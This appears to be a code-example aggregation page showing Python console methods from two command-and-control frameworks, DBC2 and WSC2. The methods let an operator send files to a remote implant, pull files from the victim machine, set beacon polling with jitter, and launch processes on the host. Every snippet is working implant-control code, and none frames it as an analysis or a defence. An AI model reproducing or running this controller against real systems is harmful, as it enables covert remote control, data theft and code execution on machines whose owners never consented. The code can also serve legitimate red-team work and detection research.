예제 #1
0
파일: console.py 프로젝트: jack51706/DBC2
	def do_sendFile(self, args):
		"""sendFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used"""

		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: sendFile <local file> [destination path]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		localFile = arguments[0]
		
		# Path normalization for Windows
		if len(arguments) > 1:
			# Add a trailing backslash if missing and replace forward slashes to backslashes
			destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\")
		else:
			destinationPath = "temp"
		
		if os.path.isfile(localFile):
				self.agentHandler.taskAgentWithSendFile(localFile, destinationPath)
		else:
			print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
예제 #2
0
파일: console.py 프로젝트: jack51706/DBC2
	def do_polling(self, args):
		"""polling <period> [deviation]\nSet the current agent polling period (seconds), with an optionnal deviation (percentage) between 10 and 50"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: polling <period> [deviation]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return

		try:
			period = int(arguments[0])
			deviation = int(arguments[1]) if len(arguments) > 1 else 50
		except ValueError:
			print helpers.color("[!] Arguments must be proper integers")
			return
		
		if period < 0:
			print helpers.color("[!] Period cannot be a negative number")
			return
		if deviation not in range(10,51):
			print helpers.color("[!] Deviation can only be between 10 and 50%")
			return
			
		self.agentHandler.taskAgentWithNewPolling(period, deviation)
예제 #3
0
파일: console.py 프로젝트: zshell/WSC2
	def do_putFile(self, args):
		"""putFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used"""

		if not self.currentAgentID:
			print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one")
			return

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: putFile <local file> [destination path]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		localFile = arguments[0]
		
		# Path normalization for Windows
		if len(arguments) > 1:
			# Add a trailing backslash if missing and replace forward slashes to backslashes
			destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\")
		else:
			destinationPath = "temp"
		
		# Check local file actually exists
		if os.path.isfile(localFile):
			fileName = os.path.basename(localFile)
			
			# Open local file and base64 encode it
			try:
				with open(localFile) as fileHandle:
					fileBytesEncoded = helpers.b64encode(fileHandle.read())
					fileHandle.close()

					request = helpers.b64encode('tfc22a')+'|' \
								+fileBytesEncoded+'|' \
								+helpers.b64encode(destinationPath)+'|' \
								+helpers.b64encode(fileName)

					# Send message to the main thread for dispatching
					self.c2mQueue.put({'type': 'request', 'value': request})

					# Wait for main thread's answer
					response = self.m2cQueue.get()

					if response['type'] == 'response':
						print helpers.b64decode(response['value'])
					elif response['type'] == 'disconnected':
						self.prompt = "[no agent]#> "
						self.currentAgentID = None
						return
			except IOError:
				print helpers.color("[!] Could not open or read file [{}]".format(localFile))
		else:
			print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
예제 #4
0
파일: console.py 프로젝트: zshell/WSC2
	def do_getFile(self, args):
		"""getFile <agent local file>\nDownload a file from the agent to the local system"""
		
		if not self.currentAgentID:
			print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one")
			return

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: getFile <agent local file>")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,1)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return

		# Path normalization for Windows
		fileName = os.path.basename(arguments[0])

		# Path normalization for Windows
		filePath = arguments[0].replace("/","\\")
		
		
		request = helpers.b64encode('tfa2c2')+'|'+helpers.b64encode(filePath)
		
		# Send message to the main thread for dispatching
		self.c2mQueue.put({'type': 'request', 'value': request})

		# Wait for main thread's answer
		response = self.m2cQueue.get()

		if response['type'] == 'response':
			# Save file in the incoming folder
			try:
				with open(config.INCOMINGFILES+'/'+fileName, 'w+') as fileHandle:
					fileHandle.write(helpers.b64decode(response['value']))
					fileHandle.close()
			except IOError:
				print helpers.color("[!] Could not write to file [{}]".format(config.INCOMINGFILES+'/'+fileName))
		elif response['type'] == 'disconnected':
			self.prompt = "[no agent]#> "
			self.currentAgentID = None			
예제 #5
0
파일: console.py 프로젝트: jack51706/DBC2
	def do_getFile(self, args):
		"""getFile <agent local file>\nDownload a file from the agent to the local system"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: getFile <agent local file>")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,1)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return

		# Path normalization for Windows
		filePath = arguments[0].replace("/","\\")
		
		self.agentHandler.taskAgentWithGetFile(filePath)
예제 #6
0
파일: console.py 프로젝트: jack51706/DBC2
	def do_launchProcess(self, args):
		"""launchProcess <executable name or path> [arguments]\nInstruct the agent to launch a process in the background, with the given executable name and the optionnal arguments"""
		
		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked, either because it's DEAD or already tasked with something")
			return
			
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: launchProcess <executable name or path> [arguments]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		# Path normalization for Windows
		exePath = arguments[0].replace("/","\\")
		parameters = arguments[1] if len(arguments) > 1 else " "
		
		self.agentHandler.taskAgentWithLaunchProcess(exePath, parameters)